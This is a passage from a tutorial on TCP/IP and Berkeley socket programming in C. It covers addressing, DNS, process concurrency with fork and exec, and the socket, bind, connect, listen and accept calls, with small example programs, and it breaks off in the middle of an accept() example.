- Before the IPV4 run out of the IP addresses, now we have IPV6 with 128 bits.

Host Names and DNS

- People need names to make it simpler to use the Internet.


- The Domain Name System (DNS) can translate from name to number or from number to name. This is
called name resolution.
- Name resolution done by Domain Name Service (DNS – although the term is same as the Domain
Name System and same acronym, this is Microsoft implementation of the Domain Name System :o)) in
Windows and in Unices/Linux it is done by BIND.

Ethernet Addresses

MAC and ARP protocol

- In Local Area Network (LAN) we have several network types such as Ethernet and Token Ring.
- The most widely used is Ethernet.
- Each Ethernet interface (Network Interface Card -NIC) has a unique Ethernet address provided by the
manufacturer, hard coded into the NIC, normally called Media Access Control (MAC) or physical
address.
- Ethernet addresses are 6 bytes shown as 6 hexadecimal values separated by colons.
- For example: 00:C0:F0:1F:3C:27.
- You can see this MAC address by issuing the arp command as shown below:

www.tenouk.com Page 6 of 31
Figure 7

- Ethernet packets have header and data sections.


- The header contains the source and destination of the Ethernet addresses (MAC) and a 2 byte packet
type.
- For IP packets the data area contains the IP fields which hold the IP source and destination addresses
that are readable and more suitable for human.
- To send to an IP address, a computer uses the Address Resolution Protocol (arp) to determine a MAC
address.

IPv6

- Current IP is IPv4 (Internet Protocol version 4).


- IPv4 has 32 bit addresses.
- Due to splitting addresses, 32 bits is not enough.
- IPv6 will have 128 bit addresses.
- Addresses will be shown in a colon hexadecimal format with internal strings of 0s omitted. For
example:

69DC:88F4:FFFF:0:ABCD:DBAC:1234:FBCD:A12B::F6

- New service types exist to accommodate IPv6 such as multimedia and wireless.
- For Windows Xp and above, you can try the ipv6 command at prompt to view and/or set the IPv6
configuration. For example: ipv6 if.

Distributed Applications

- The goal is to hide the fact that the application is distributed other than to provide the redundancy for
reliability.
- User interfaces can look identical.
- Typically data resides on remote systems.
- In many instances, remote users interact with each other.

Application Protocols

- Protocol: a set of rules defining how to communicate.


- Application protocol: communication rules for an application.
- Standard protocols: documented in RFCs such as ftp, telnet, http.
- Non-standard protocols: programmers write a distributed application = new protocol.
- Programmers choose standard protocols where they apply.

E.g. telnet:

telnet computer.some.where [port]


telnet www.yahoo.com 23

- Port is a number defining which service to connect to.


- For example, port 23 is the default for telnet services.
- Ports, protocols and service names are specified in /etc/services.

Providing Concurrent Access to Services

- Users expect almost immediate response.


- Network servers must handle multiple clients "apparently simultaneously".
- The CPU and network must be shared.
- Normally in the form of multiple server processes or multiple server threads in one process.

The Client-Server Model

- TCP/IP enables peer-to-peer communication.


- Computers can cooperate as equals or in any desired way.
- Most distributed applications have special roles. For example:

www.tenouk.com Page 7 of 31
▪ Server waits for a client request.
▪ Client requests a service from server.

Some Security Definitions

- Authentication: verifying a computer's identity.


- Authorization: determining whether permission is allowed.
- Data security: preserving data integrity.
- Privacy: preventing unauthorized access.
- Protection: preventing abuse.
- These security matters have experienced quite a pretty good evolution. The standards also have been
produced such as the obsolete C2, formally known as Trusted Computer System Evaluation Criteria
(TCSEC) then superseded by Common Criteria and the ISO version: ISO 15408 Common Criteria
for Information Technology Security Evaluation.

Connectionless (UDP) vs Connection-Oriented (TCP) Servers

- Programmer can choose a connection-oriented server or a connectionless server based on their


applications.
- In Internet Protocol terminology, the basic unit of data transfer is a datagram. This is basically a
header followed by some data. The datagram socket is connectionless.
- User Datagram Protocol (UDP):

▪ Is a connectionless.
▪ A single socket can send and receive packets from many different computers.
▪ Best effort delivery.
▪ Some packets may be lost some packets may arrive out of order.

- Transmission Control Protocol (TCP):

▪ Is a connection-oriented.
▪ A client must connect a socket to a server.
▪ TCP socket provides bidirectional channel between client and server.
▪ Lost data is re-transmitted.
▪ Data is delivered in-order.
▪ Data is delivered as a stream of bytes.
▪ TCP uses flow control.

- It is simple for a single UDP server to accept data from multiple clients and reply.
- It is easier to cope with network problems using TCP.

Stateless vs Stateful Servers

- A stateful server remembers client data (state) from one request to the next.
- A stateless server keeps no state information.
- Using a stateless file server, the client must:

▪ Specify complete file names in each request.


▪ Specify location for reading or writing.
▪ Re-authenticate for each request.

- Using a stateful file server, the client can send less data with each request.
- A stateful server is simpler.
- On the other hand a stateless server is:

▪ More robust.
▪ Lost connections can't leave a file in an invalid state.
▪ Rebooting the server does not lose state information because there is no state information hold.
▪ Rebooting the client does not confuse a stateless server.

Concurrent Processing

Concurrency

www.tenouk.com Page 8 of 31
- Real or apparent simultaneous processing.
- Time-sharing: a single CPU switches from 1 process to the next.
- Multiprocessing: multiple CPUs handle processes.

Network Concurrency

- Multiple distributed application share a network.


- With a single Ethernet segment or hub, one packet at a time can use the network. Network sharing is
like time-sharing.
- With a switch, multiple packets can be in transit and transfer simultaneously, like multiprocessing.
- With several networks, multiple packets can be in transit and transfer like having multiple computers.

Server Concurrency

- An iterative server finishes one client request before accepting another.


- An iterative telnet daemon is almost useless.
- Concurrent servers are difficult to write.
- We will consider several designs for concurrency.

Programs vs Processes

- Program: executable instructions.


- Process: program being executed.
- Each process has its own private data.

e.g.: Multiple pico processes have different text on the screen.

Concurrency using fork() in UNIX/Linux

/*testpid.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

int main (int argc, char **argv)


{
int i, pid;
pid = fork();

printf("Forking...the pid: %d\n", pid);


for (i = 0; i < 5; i++)
printf(" %d %d\n", i, getpid());
if (pid)
wait(NULL);
return 0;
}

[bodo@bakawali testsocket]$ gcc -g testpid.c -o testpid


[bodo@bakawali testsocket]$ ./testpid
Forking...the pid: 0
0 27166
1 27166
2 27166
3 27166
4 27166
Forking...the pid: 27166
0 27165
1 27165
2 27165
3 27165
4 27165

- New process starts execution by returning from fork.


- Child and parent are nearly identical.
- Parent gets the child process id from fork.
- Child gets 0 back from fork.

www.tenouk.com Page 9 of 31
- Parent should wait for child to exit.

Time slicing

- Round robin method.


- Operating system is interrupted regularly by a clock.
- In the clock interrupt handler the kernel checks to see if the current process has exceeded its time
quantum.
- Processes are forced to take turns using the CPU but every process will get their time slice.

Using exec family to execute a new program in UNIX/Linux

- The following are exec family prototypes.

int execve(const char *file, char *const argv [], char *const envp[]);
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg, ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);

- exec family executes a new program (same process id).


- The first argument is the new program if it says path, it requires a full pathname otherwise, and it
searches in the current path.
- Program arguments follow as a list or a vector.
- execve() and execle() allow specifying the environment.

Context Switching

- Having multiple server processes means context switches.


- A context switch consumes CPU time.
- Other processes are blocked during that time.
- We must consider the benefits of multiple servers versus the overhead.

Asynchronous I/O

- Asynchronous I/O means allowing a process to start an I/O operation and proceeding with other work
while the I/O occurs.
- UNIX I/O occurs asynchronously if you use select().
- A process asks the select() system call to tell which of a collection of file descriptors is ready to
finish I/O.
- After calling select() the process can call read() or write() to perform I/O which is at that
time no more than a copying of data to/from kernel space with real I/O either already done or scheduled
for later.
- A server process can use select() to determine which of a collection of sockets it can read without
blocking.

Programming Interface

TCP/IP Application Programming Interface (API)

- API: routines supplied by the OS defining the interface between an application and the protocol
software.
- Better to avoid vendor-specific data format and features, use standard APIs for portability.
- The API only suggests required functionality and it depend on the implementation.
- For UNIX - socket (original Berkeley system calls) and TLI (Transport Layer Interface - AT&T UNIX
System V).
- For Apple Mac – MacTCP.
- For MS Windows – Winsock (quite similar to socket).
- There is also other TCP/IP APIs that implementation dependent.
- Unices TCP/IP APIs are kernel system calls.
- Mac and Windows using extension/drivers and dynamic link library (dll).
- In this Tutorial we will use socket APIs and in general socket refer to socket APIs that includes the
socket().

www.tenouk.com Page 10 of 31
- In fact the APIs just routines/functions in C language.

Required Functionality

- Allocate resources for communication such as memory.


- Specify local and remote endpoints.
- Initiate a client connection.
- Wait for a client connection.
- Send or receive data.
- Determine when data arrives.
- Generate urgent data.
- Handle received urgent data.
- Terminate a connection.
- Abort.
- Handle errors.
- Release resources.

System Calls

- An operating system should run user programs in a restricted mode i.e. user program should not do I/O
directly.
- User programs should make a system call to allow trusted code to perform I/O.
- In UNIX, functions like open(), read(), write(), close() are actually system calls.
- A UNIX system call is a transition from user mode to kernel mode.
- TCP/IP code is called through the system calls.

UNIX I/O with TCP/IP

- To a certain degree, I/O with sockets is like file I/O.


- TCP/IP sockets are identified using file descriptors.
- read() and write() work with TCP/IP sockets.
- open() is not adequate for making a connection.
- Calls are needed to allow servers to wait for connections.
- UDP data is always a datagram and not a stream of bytes.

The Socket Interface

- Socket is an Application Programming Interface (API) used for Interprocess Communications (IPC).
- It is a well defined method of connecting two processes, locally or across a network.
- It is a Protocol and Language Independent.
- Often referred to as Berkeley Sockets or BSD Sockets.
- The following figure illustrates the example of client/server relationship of the socket APIs for
connection-oriented protocol (TCP).

www.tenouk.com Page 11 of 31
Figure 8

- The following figure illustrates the example of client/server relationship of the socket APIs for a
connectionless protocol (UDP).

Figure 9

Berkeley Sockets: API for TCP/IP Communication

- Uses existing I/O features where possible.


- Allows TCP/IP connections, internal connections, and possibly more.
- Started in BSD UNIX in the 1980s.
- BSD UNIX adopted by Sun, Tektronix and Digital.

www.tenouk.com Page 12 of 31
- Now the socket interface is a de facto standard.
- Sockets make the network look much like a file system.

Socket Descriptors

- UNIX open() yields a file descriptor: a small integer used to read/write a file.
- UNIX keeps a file descriptor table for each process an array of pointers to the data about the open files.
- A file descriptor is used to index the array.
- Sockets are added to this abstraction.
- The socket() system call returns a socket descriptor.
- Actually, files and sockets are accessed using the same table.
- The structure pointed to by a table entry has a field which tells whether it is a file or socket.

System Data Structures for Sockets

- In order to use a socket, the kernel needs to keep track of several pieces of data as the following:

1. Protocol Family: a parameter to the socket call.


2. Service Type (Stream, Datagram): parameter to socket.
3. Local IP Address: can be set with bind().
4. Local Port: can be set with bind().
5. Remote IP Address: can be set with connect().
6. Remote Port: can be set with connect().

- Ultimately all 6 values must be known to do the communication.

Active vs Passive Sockets

- A server uses a passive socket to wait the client connections.


- A client uses an active socket to initiate a connection.
- Both start using the socket() call.
- Later on, servers and clients will use other calls.

Socket Endpoints

- TCP/IP communication occurs between 2 endpoints.


- An endpoint is defined as an IP address and a port number.
- To allow other protocols to merge into the socket abstraction, address families are used.
- We will use PF_INET for internet protocol family.
- We will also use AF_INET for internet address family. Normally PF_INET = AF_INET = 2.
- Socket types for AF_INET are listed in the following Table.

Socket type Protocol TYPE


TCP, Systems Network Architecture (SNA-IBM),
STREAM SOCK_STREAM
Sequenced Packet eXchange (SPX-Novell).
SEQPACKET SPX. SOCK_SEQPACKET
DGRAM UDP, SNA, Internetwork Packet eXchange (IPX-Novell). SOCK_DGRAM
RAW IP. SOCK_RAW

Table 4: AF_INET socket combinations

- There are other address families that you will find somewhere and sometime such as:

▪ AF_UNIX
▪ AF_NS
▪ AF_TELEPHONY

AF_UNIX address family:

- The system uses this address family for communicating between two programs that are on the same
physical machine. The address is a path name to an entry that is in a hierarchical file system.
- Sockets with address family AF_UNIX use the sockaddr_un address structure:

www.tenouk.com Page 13 of 31
struct sockaddr_un {
short sun_family;
char sun_path[126];
};

- The sun_family field is the address family. The sun_path field is the pathname. The
<sys/un.h> header file contains the sockaddr_un address structure definition.
- For the AF_UNIX address family, protocol specifications do not apply because protocol standards are
not involved.
- The communications mechanism between the two processes on the same machine is specific to that
machine.

AF_NS address family:

- This address family uses addresses that follow Novell or Xerox NS protocol definitions. It consists of a
4-byte network, a 6-byte host (node), and a 2-byte port number.
- Sockets with address family AF_NS use the sockaddr_ns address structure:

struct sockaddr_ns {
unsigned short sns_family;
struct ns_addr sns_addr;
char sns_zero[2];
};

AF_TELEPHONY address family:

- Telephony domain sockets (sockets that use the AF_TELEPHONY address family) permit the user to
initiate (dial) and complete (answer) telephone calls through an attached ISDN telephone network using
standard socket APIs.
- The sockets forming the endpoints of a connection in this domain are really the called (passive
endpoint) and calling (active endpoint) parties of a telephone call.
- The AF_TELEPHONY addresses are telephone numbers that consist of up to 40 digits (0 - 9), which are
contained in sockaddr_tel address structures.
- The system supports AF_TELEPHONY sockets only as connection-oriented (type SOCK_STREAM)
sockets.
- Keep in mind that a connection in the telephony domain provides no more reliability than that of the
underlying telephone connection. If guaranteed delivery is desired, you must accomplish this at the
application level, such as in fax applications that use this family.
- Sockets with address family AF_TELEPHONY use the sockaddr_tel address structure.

struct sockaddr_tel {
short stel_family;
struct tel_addr stel_addr;
char stel_zero[4];
};

- The telephony address consists of a 2-byte length followed by a telephone number of up to 40 digits (0
- 9).

struct tel_addr {
unsigned short t_len;
char t_addr[40];
};

- The stel_family field is the address family. The stel_addr field is the telephony address, and
stel_zero is a reserved field. The <nettel/tel.h> header file contains the tel_addr and
sockaddr_tel structure definitions.

Generic Socket Address Structure

Host IP Addresses

- Each computer on the Internet has one or more Internet addresses, numbers which identify that
computer among all those on the Internet.

www.tenouk.com Page 14 of 31
- Users typically write numeric host addresses as sequences of four numbers, separated by periods, as in
128.54.46.100.
- Each computer also has one or more host names, which are strings of words separated by periods, as in
www.google.com.
- Programs that let the user specify a host typically accept both numeric addresses and host names.
- But the program needs a numeric address to open a connection; to use a host name; you must convert it
to the numeric address it stands for.

Internet Host Addresses – Abstract Host Address

- Each computer on the Internet has one or more Internet addresses, numbers which identify that
computer among all those on the Internet.
- An Internet host address is a number containing four bytes of data. These are divided into two parts, a
network number and a local network address number within that network.
- The network number consists of the first one, two or three bytes; the rest of the bytes are the local
address.
- Network numbers are registered with the Network Information Center (NIC), and are divided into three
classes as discussed before: class A, B, and C for the IPv4. The local network address numbers of
individual machines are registered with the administrator of the particular network.
- Since a single machine can be a member of multiple networks, it can have multiple Internet host
addresses.
- However, there is never supposed to be more than one machine with the same host address.
- There are four forms of the standard numbers-and-dots notation for Internet addresses as discussed
before:

a.b.c.d
This specifies all four bytes of the address individually.

a.b.c
The last part of the address, c, is interpreted as a 2-byte quantity. This is useful for specifying host
addresses in a Class B network with network address number a.b.

a.b
The last part of the address, c, is interpreted as a 3-byte quantity. This is useful for specifying host
addresses in a Class A network with network address number a.

a
If only one part is given, this corresponds directly to the host address number.

- Within each part of the address, the usual C conventions for specifying the radix apply. In other words,
a leading '0x' or '0X' implies hexadecimal radix; a leading '0' implies octal; and otherwise decimal
radix is assumed.

Host Address Data Type - Data type for a host number.

- Internet host addresses are represented in some contexts as integers (type unsigned long int).
- In other contexts, the integer is packaged inside a structure of type struct in_addr. It would be
better if the usages were made consistent, but it is not hard to extract the integer from the structure or
put the integer into a structure.
- The following basic definitions for Internet addresses appear in the header file 'netinet/in.h':

Data Type struct in_addr

- This data type is used in certain contexts to contain an Internet host address. It has just one field,
named s_addr, which records the host address number as an unsigned long int.

Macro unsigned long int INADDR_LOOPBACK

- You can use this constant to stand for the ''address of this machine'' instead of finding its actual address.
- It is the Internet address '127.0.0.1', which is usually called 'localhost'. This special constant
saves you the trouble of looking up the address of your own machine.

www.tenouk.com Page 15 of 31
- Also, the system usually implements INADDR_LOOPBACK specially, avoiding any network traffic for
the case of one machine talking to itself.

Macro unsigned long int INADDR_ANY

- You can use this constant to stand for ''any incoming address'' when binding to an address.
- This is the usual address to give in the sin_addr member of struct sockaddr_in when you
want your server to accept Internet connections.

Macro unsigned long int INADDR_BROADCAST

- This constant is the address you use to send a broadcast message.

Macro unsigned long int INADDR_NONE

- This constant is returned by some functions to indicate an error.

Host Address Functions - Functions to operate on them.

- These additional functions for manipulating Internet addresses are declared in 'arpa/inet.h'.
- They represent Internet addresses in network byte order; they represent network numbers and local-
address-within-network numbers in host byte order.

Function int inet_aton(const char *name, struct in_addr *addr)

- This function converts the Internet host address name from the standard numbers-and-dots notation
into binary data and stores it in the struct in_addr that addr points to.
- inet_aton returns nonzero if the address is valid, zero if not.

Function unsigned long int inet_addr(const char *name)

- This function converts the Internet host address name from the standard numbers-and-dots notation
into binary data. If the input is not valid, inet_addr returns INADDR_NONE.
- This is an obsolete interface to inet_aton, described above; it is obsolete because INADDR_NONE
is a valid address (255.255.255.255), and inet_aton provides a cleaner way to indicate error
return.

Function unsigned long int inet_network(const char *name)

- This function extracts the network number from the address name, given in the standard numbers-and-
dots notation. If the input is not valid, inet_network returns -1.

Function char * inet_ntoa(struct in_addr addr)

- This function converts the Internet host address addr to a string in the standard numbers-and-dots
notation. The return value is a pointer into a statically-allocated buffer.
- Subsequent calls will overwrite the same buffer, so you should copy the string if you need to save it.

Function struct in_addr inet_makeaddr(int net, int local)

- This function makes an Internet host address by combining the network number net with the local-
address-within-network number local.

Function int inet_lnaof(struct in_addr addr)

- This function returns the local-address-within-network part of the Internet host address addr.

Function int inet_netof(struct in_addr addr)

- This function returns the network number part of the Internet host address addr.

Host Names - Translating host names to host IP numbers

www.tenouk.com Page 16 of 31
- Besides the standard numbers-and-dots notation for Internet addresses, you can also refer to a host by a
symbolic name.
- The advantage of a symbolic name is that it is usually easier to remember. For example, the machine
with Internet address '128.52.46.32' is also known as 'testo.google.com'; and other machines
in the 'google.com' domain can refer to it simply as 'testo'.
- Internally, the system uses a database to keep track of the mapping between host names and host
numbers.
- This database is usually either the file '/etc/hosts' or an equivalent provided by a name/DNS
server. The functions and other symbols for accessing this database are declared in 'netdb.h'. They
are BSD features, defined unconditionally if you include 'netdb.h'.
- The IP address to name and vice versa is called name resolution. It is done by Domain Name Service.
Other than the hosts file, in Windows platform it is called DNS (Domain Name Service) and other
Microsoft specifics may use WINS or lmhost file.
- Keep in mind that the general term actually Domain Name System also has DNS acronym. In UNIX it
is done by BIND.
- The complete process or steps taken for name resolution quite complex but Windows normally use
DNS service and UNIX/Linux normally use BIND.

Data Type struct hostent

- This data type is used to represent an entry in the hosts database. It has the following members:

Data Type Description


char *h_name This is the ''official'' name of the host.
char **h_aliases
These are alternative names for the host, represented as a
null-terminated vector of strings.
This is the host address type; in practice, its value is always
AF_INET. In principle other kinds of addresses could be
int h_addrtype represented in the data base as well as Internet addresses; if
this were done, you might find a value in this field other than
AF_INET.
int h_length This is the length, in bytes, of each address.
This is the vector of addresses for the host. Recall that the
char host might be connected to multiple networks and have
**h_addr_list different addresses on each one. The vector is terminated by
a null pointer.
char *h_addr
This is a synonym for h_addr_list[0]; in other words, it
is the first host address.

Table 5

- As far as the host database is concerned, each address is just a block of memory h_length bytes long.
- But in other contexts there is an implicit assumption that you can convert this to a struct in_addr
or an unsigned long int. Host addresses in a struct hostent structure are always given in
network byte order.
- You can use gethostbyname() or gethostbyaddr() to search the hosts database for
information about a particular host. The information is returned in a statically-allocated structure.
- You must copy the information if you need to save it across calls.

Function struct hostent * gethostbyname(const char *name)

- The gethostbyname() function returns information about the host named name. If the lookup
fails, it returns a null pointer.

Function struct hostent * gethostbyaddr(const char *addr, int length, int format)

- The gethostbyaddr() function returns information about the host with Internet address addr.
The length argument is the size (in bytes) of the address at addr.
- format specifies the address format; for an Internet address, specify a value of AF_INET.
- If the lookup fails, gethostbyaddr() returns a null pointer.

www.tenouk.com Page 17 of 31
- If the name lookup by gethostbyname() or gethostbyaddr() fails, you can find out the
reason by looking at the value of the variable h_errno.
- Before using h_errno, you must declare it like this:

extern int h_errno;

- Here are the error codes that you may find in h_errno:

h_errno Description
HOST_NOT_FOUND No such host is known in the data base.
This condition happens when the name server could not
TRY_AGAIN be contacted. If you try again later, you may succeed
then.
NO_RECOVERY A non-recoverable error occurred.
NO_ADDRESS
The host database contains an entry for the name, but it
doesn't have an associated Internet address.

Table 6

- You can also scan the entire hosts database one entry at a time using sethostent(),
gethostent(), and endhostent().
- Be careful in using these functions, because they are not re-entrant.

Function void sethostent(int stayopen)

- This function opens the hosts database to begin scanning it. You can then call gethostent() to
read the entries.
- If the stayopen argument is nonzero, this sets a flag so that subsequent calls to
gethostbyname() or gethostbyaddr() will not close the database (as they usually would).
- This makes for more efficiency if you call those functions several times, by avoiding reopening the
database for each call.

Function struct hostent * gethostent()

- This function returns the next entry in the hosts database. It returns a null pointer if there are no
more entries.

Function void endhostent()

- This function closes the hosts database.

The API Details

- In this section and that follows we will discuss the socket APIs details: the structures, functions, macros
and types.

struct sockaddr

struct sockaddr {
u_char sa_len;
u_short sa_family; // address family, AF_xxx
char sa_data[14]; // 14 bytes of protocol address
};

- sockaddr consists of the following parts:

1. The short integer that defines the address family (the value that is specified for address family
on the socket() call).
2. Fourteen bytes that are reserved to hold the address itself.

- Originally sa_len was not there.


- Depending on the address family, sa_data could be a file name or a socket endpoint...
- sa_family can be a variety of things, but it’ll be AF_INET for everything we do in this Tutorial.

www.tenouk.com Page 18 of 31
- sa_data contains a destination address and port number for the socket. This is rather unwieldy since
you don’t want to tediously pack the address in the sa_data by hand.
- To deal with struct sockaddr, programmers created a parallel structure: struct
sockaddr_in ("in" for "Internet".)

struct sockaddr_in

struct sockaddr_in {
u_char sin_len;
u_short sin_family; //Address family
u_short sin_port; //Port number
struct in_addr sin_addr; //Internet or IP address
char sin_zero[8]; //Same size as struct sockaddr
};

- The sin_family field is the address family (always AF_INET for TCP and UDP).
- The sin_port field is the port number, and the sin_addr field is the Internet address. The
sin_zero field is reserved, and you must set it to hexadecimal zeroes.
- Data type struct in_addr - this data type is used in certain contexts to contain an Internet host
address. It has just one field, named s_addr, which records the host address number as an
unsigned long int.
- sockaddr_in is a "specialized" sockaddr.
- sin_addr could be u_long.
- sin_addr is 4 bytes and 8 bytes are unused.
- sockaddr_in is used to specify an endpoint.
- The sin_port and sin_addr must be in Network Byte Order.

Socket System Calls

socket()

NAME
socket() - create an endpoint for communication

SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>

int socket(int domain, int type, int protocol);

- domain should be set to "AF_INET", just like in the struct sockaddr_in.


- The type argument tells the kernel what kind of socket this is. For example SOCK_STREAM or
SOCK_DGRAM.
- Just set protocol to "0" to have socket() choose the correct protocol based on the type.
- protocol is frequently 0 if only one protocol in the family supports the specified type. You can look
at /etc/protocols.
- There are many more domains and types that you will find later on.
- Also, there’s a "better" way to get the protocol. See the getprotobyname() man page.
- socket() simply returns to you an integer of the socket descriptor that you can use in later system
calls, or -1 on error. The global variable errno is set to the error’s value (see the perror() man
page).
- In some documentation, you’ll see the mentioning of a mystical "PF_INET.
- Once a long time ago, it was thought that maybe an address family (what the "AF" in "AF_INET"
stands for) might support several protocols that were referenced by their protocol family (what the
"PF" in "PF_INET" stands for). That didn’t happen.
- So the correct thing to do is to use AF_INET in your struct sockaddr_in and PF_INET in
your call to socket(). But practically speaking, you can use AF_INET everywhere.

bind()

NAME
bind() - bind a name to a socket

SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>

www.tenouk.com Page 19 of 31
int bind(int sockfd, struct sockaddr *my_addr, int addrlen);

- sockfd is the socket file descriptor returned by socket().


- my_addr is a pointer to a struct sockaddr that contains information about your address,
namely, port and IP address.
- addrlen can be set to sizeof(struct sockaddr).
- Bind attaches a local endpoint to a socket.
- Once you have a socket, you might have to associate that socket with a port on your local machine.
- Typically servers use bind() to attach to well-known ports so clients can connect.
- This is commonly done if you’re going to listen() for incoming connections on a specific port.
- The port number is used by the kernel to match an incoming packet to a certain process’s socket
descriptor. If you’re going to only be doing a connect() that is just a client, this may be
unnecessary.
- Let’s have an example:

[bodo@bakawali testsocket]$ cat test1.c


#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MYPORT 3334

int main()
{
int sockfd; /*socket file descriptor*/
struct sockaddr_in my_addr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);


if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("Server-socket() error lol!");
exit(1);
}
else
printf("Server-socket() sockfd is OK...\n");

/* host byte order */


my_addr.sin_family = AF_INET;
/* short, network byte order */
my_addr.sin_port = htons(MYPORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
/* zero the rest of the struct */
memset(&(my_addr.sin_zero), 0, 8);

if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)


{
perror("Server-bind() error lol!");
exit(1);
}
else
printf("Server-bind() is OK...\n");

/*....other codes....*/

return 0;
}

[bodo@bakawali testsocket]$ gcc test1.c -o test1


[bodo@bakawali testsocket]$ ./test1
Server-socket() sockfd is OK...
Server-bind() is OK...

- my_addr.sin_port and my_addr.sin_addr.s_addr are in Network Byte Order.


- For bind(), some of the process of getting your own IP address and/or port can be automated:

/* choose an unused port at random */


my_addr.sin_port = 0;
/* use my IP address */
my_addr.sin_addr.s_addr = INADDR_ANY;

- By setting my_addr.sin_port to zero, you are telling bind() to choose the port for you.

www.tenouk.com Page 20 of 31
- Likewise, by setting my_addr.sin_addr.s_addr to INADDR_ANY, you are telling it to
automatically fill in the IP address of the machine the process is running on.
- INADDR_ANY is actually zero. For 0.0.0.0, it means any IP.

/* choose an unused port at random */


my_addr.sin_port = htons(0);
/* use my IP address */
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

- Now our code quite portable.


- bind() also returns -1 on error and sets errno to the error’s value.
- When calling bind(), don’t go below 1024 for your port numbers. All ports below 1024 are reserved
(unless you’re the superuser/root or suid type access).
- You can have any port number above that, right up to 65535 (216) provided they aren’t already being
used by another program.
- Sometimes, you might notice, you try to rerun a server and bind() fails, claiming "Address already in
use". This means a socket that was connected is still hanging around in the kernel, and it’s hogging the
port.
- You can either wait for it to clear (a minute or so), or add code to your program allowing it to reuse the
port, like this:

int yes = 1;
/* "Address already in use" error message */
if(setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
{
perror("setsockopt() error");
exit(1);
}
else
printf("setsockopt() is OK.\n");

- There are times when you won’t absolutely have to call bind(). If you are connect()ing to a
remote machine and you don’t care what your local port is (as is the case with telnet where you only
care about the remote port), you can simply call connect(), it’ll check to see if the socket is
unbound, and will bind() it to an unused local port if necessary.
- For the ports that has been blocked or closed by the firewall for security reason, you have to open it
for communication.
- And if the access to the port denied, you have to allow it.
- Standard ports with their respective services have been defined in /etc/protocol. You can define
ports for specific services by editing the /etc/protocol.
- Then with the newly defined ports, the new service is defined and created in /etc/xinetd.d.
Please check the man pages for xinetd service (inetd is the older one).
- The following section summarizes the sockets related function prototypes.

connect()

NAME
connect() - initiate a connection on a socket.

SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>

int connect(int sockfd, struct sockaddr *serv_addr, int addrlen);

- sockfd is our friendly neighborhood socket file descriptor, as returned by the socket() call,
serv_addr is a struct sockaddr containing the destination port and IP address
- addrlen can be set to sizeof(struct sockaddr).
- As an example, for telnet client application, firstly, get a socket file descriptor. Then if no error, we are
ready to connect to remote host, let say "127.0.0.1" on port "23", the standard telnet port. For this
we need connect().
- Let’s have an example:

[bodo@bakawali testsocket]$ cat test2.c


#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>

www.tenouk.com Page 21 of 31
#include <netinet/in.h>

#define DEST_IP "127.0.0.1"


#define DEST_PORT 80

int main(int argc, char *argv[])


{
int sockfd;
/* will hold the destination addr */
struct sockaddr_in dest_addr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if(sockfd == -1)
{
perror("Client-socket() error lol!");
exit(1);
}
else
printf("Client-socket() sockfd is OK...\n");

/* host byte order */


dest_addr.sin_family = AF_INET;
/* short, network byte order */
dest_addr.sin_port = htons(DEST_PORT);
dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);

/* zero the rest of the struct */


memset(&(dest_addr.sin_zero), 0, 8);

if(connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1)


{
perror("Client-connect() error lol");
exit(1);
}
else
printf("Client-connect() is OK...\n");

/*...other codes...*/

return 0;
}

[bodo@bakawali testsocket]$ gcc test2.c -o test2


[bodo@bakawali testsocket]$ ./test2
Client-socket() sockfd is OK...
Client-connect() error lol: Connection refused

- Again, be sure to check the return value from connect(). It will return -1 on error and set the
variable errno.
- Also, notice that we didn’t call bind(). Basically, we don’t care about our local port number; we
only care where we’re going to connect to that is the remote port.
- The kernel will choose a local port for us, and the site we connect to will automatically get this
information from us.

listen()

NAME
listen() - listen for connections on a socket

SYNOPSIS
#include <sys/socket.h>

int listen(int sockfd, int backlog);

- sockfd is the usual socket file descriptor from the socket() system call.
- backlog is the number of connections allowed on the incoming queue.
- As an example, for the server, if you want to wait for incoming connections and handle them in some
way, the steps are: first you listen(), then you accept().
- The incoming connections are going to wait in this queue until you accept() (explained later) them
and this is the limit on how many can queue up.
- Again, as per usual, listen() returns -1 and sets errno on error.

www.tenouk.com Page 22 of 31
- We need to call bind() before we call listen() or the kernel will have us listening on a random
port.
- So if you’re going to be listening for incoming connections, the sequence of system calls you’ll make is
something like this:

socket();
bind();
listen();
/*accept() goes here*/

accept()

NAME
accept() - accept a connection on a socket

SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>

int accept(int sockfd, struct sockaddr *addr, int *addrlen);

- sockfd is the listen()ing socket descriptor.


- addr will usually be a pointer to a local struct sockaddr_in. This is where the information
about the incoming connection will go (and with it you can determine which host is calling you from
which port).
- addrlen is a local integer variable that should be set to sizeof(struct sockaddr_in)
before its address is passed to accept().
- accept() will not put more than that many bytes into addr. If it puts fewer in, it’ll change the
value of addrlen to reflect that.
- accept() returns -1 and sets errno if an error occurs.
- Basically, after listen(), a server calls accept() to wait for the next client to connect.
accept() will create a new socket to be used for I/O with the new client. The server then will
continue to do further accepts with the original sockfd.
- When someone try to connect() to your machine on a port that you are listen()ing on, their
connection will be queued up waiting to be accept()ed. You call accept() and you tell it to get
the pending connection.
- It’ll return to you a new socket file descriptor to use for this single connection.
- Then, you will have two socket file descriptors where the original one is still listening on your port and
the newly created one is finally ready to send() and recv().
- A program example:

[bodo@bakawali testsocket]$ cat test3.c


#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

/*the port users will be connecting to*/


#define MYPORT 3440
/* how many pending connections queue will hold */
